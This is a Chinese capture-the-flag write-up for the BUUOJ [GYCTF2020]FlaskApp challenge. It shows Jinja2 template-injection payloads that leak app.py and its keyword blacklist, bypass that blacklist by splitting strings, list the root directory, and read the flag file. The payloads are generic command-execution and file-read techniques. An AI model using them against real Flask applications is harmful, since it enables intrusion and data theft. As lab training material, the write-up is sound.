首页 > 其他分享> 文章详细

[GYCTF2020]FlaskApp

2021-10-14 19:01:55 阅读：317 来源： 互联网

标签：__ 39 .__ GYCTF2020 34 &# __.__ FlaskApp

[GYCTF2020]FlaskApp

作者：Hopeace

靶场地址：https://buuoj.cn/challenges#[GYCTF2020]FlaskApp

知识点：Flask模板注入

0x01 浏览题目

题目名字已经明示了这题和Flask模板注入脱不了干系

base64加解密

一个输入框

源代码中有一句比较可疑：这是消息闪现

抓包看一下

没什么异常

session不知道可不可以利用

加密抓个包了解一下，测试原文为123

POST / HTTP/1.1
Host: 9b66f78b-1090-4160-bc8d-1b95461d78a6.node4.buuoj.cn:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://9b66f78b-1090-4160-bc8d-1b95461d78a6.node4.buuoj.cn:81/
Cookie: session=eyJjc3JmX3Rva2VuIjoiZDY0YWM0YzJhMzQ4MjFiOGNiMDNkODVjZGQ5ODFlOGQwMWQxMTczNCJ9.YWJFyQ.iBI0jbC7eFin1PLn1jVbVO9Sl7w
X-Forwarded-For: 8.8.8.8
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 137

csrf_token=ImQ2NGFjNGMyYTM0ODIxYjhjYjAzZDg1Y2RkOTgxZThkMDFkMTE3MzQi.YWJGIw.b-kRYWBQvycl1X_Fi0dj0CAQdNM&text=123&submit=%E6%8F%90%E4%BA%A4

0x02 分析题目

hint给的是“失败是成功之母”，提示是flask框架下的debug模式

SSTI测试{{7*7}}

加密的窗口生成的base64 并没有计算出49，仍未{{7*7}}的加密形式

而解密的窗口直接报错

是因为base64decode解析错误时会报错

借此查看到部分源码

@app.route('/decode',methods=['POST','GET'])

def decode():

    if request.values.get('text') :

        text = request.values.get("text")

        text_decode = base64.b64decode(text.encode())

        tmp = "结果 ： {0}".format(text_decode.decode())

        if waf(tmp) :

            flash("no no no !!")

            return redirect(url_for('decode'))

        res =  render_template_string(tmp)

{{7*7}}加密后e3s3Kjd9fQ==

放到解密框里回显了no no no !!

说明7*7确实被执行了

现在找一下waf函数

又测试了一下

{{7+7}}加密后e3s3Kzd9fQ==

回显了14

好奇怪

0x03 SSTI 测试

// 查看根目录

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{% endif %}{% endfor %}

被waf检测了，回显nonono

// 读源码去找waf函数

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read()}}{% endif %}{% endfor %}

找到了这段代码

def waf(str):
    black_list = [&#34;flag&#34;,&#34;os&#34;,&#34;system&#34;,&#34;popen&#34;,&#34;import&#34;,&#34;eval&#34;,&#34;chr&#34;,&#34;request&#34;, &#34;subprocess&#34;,&#34;commands&#34;,&#34;socket&#34;,&#34;hex&#34;,&#34;base64&#34;,&#34;*&#34;,&#34;?&#34;]
	for x in black_list : 
             if x in str.lower() :
                  return 1

应该是过滤了

flag, os, system, popen, import,eval, chr, request, subprocess, commands, socket, hex, base64, * , ?

也解释了7*7被过滤

过滤的都是整个的词，而不是正则匹配，是可以通过字符串拼接绕过的

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}{% endif %}{% endfor %}

回显了目录

 [&#39;bin&#39;, &#39;boot&#39;, &#39;dev&#39;, &#39;etc&#39;, &#39;home&#39;, &#39;lib&#39;, &#39;lib64&#39;, &#39;media&#39;, &#39;mnt&#39;, &#39;opt&#39;, &#39;proc&#39;, &#39;root&#39;, &#39;run&#39;, &#39;sbin&#39;, &#39;srv&#39;, &#39;sys&#39;, &#39;tmp&#39;, &#39;usr&#39;, &#39;var&#39;, &#39;this_is_the_flag.txt&#39;, &#39;.dockerenv&#39;, &#39;app&#39;]

找到了flag的目录

this_is_the_flag.txt

同样对flag进行拼接

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/this_is_the_fl'+'ag.txt','r').read()}}{% endif %}{% endfor %}

得到结果flag{dda153d6-c7cb-4106-9fd2-a9f3e740ba1a}

标签：__,39,.__,GYCTF2020,34,&#,__.__,FlaskApp
来源： https://blog.csdn.net/Hopeace/article/details/120770241

本站声明： 1. iCode9 技术分享网（下文简称本站）提供的所有内容，仅供技术学习、探讨和分享；
2. 关于本站的所有留言、评论、转载及引用，纯属内容发起人的个人观点，与本站观点和立场无关；
3. 关于本站的所有言论和文字，纯属内容发起人的个人观点，与本站观点和立场无关；
4. 本站文章均是网友提供，不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属；如您发现该文章侵犯了您的权益，可联系我们第一时间进行删除；
5. 本站为非盈利性的个人网站，所有内容不会用来进行牟利，也不会利用任何形式的广告来间接获益，纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

ICode9

[GYCTF2020]FlaskApp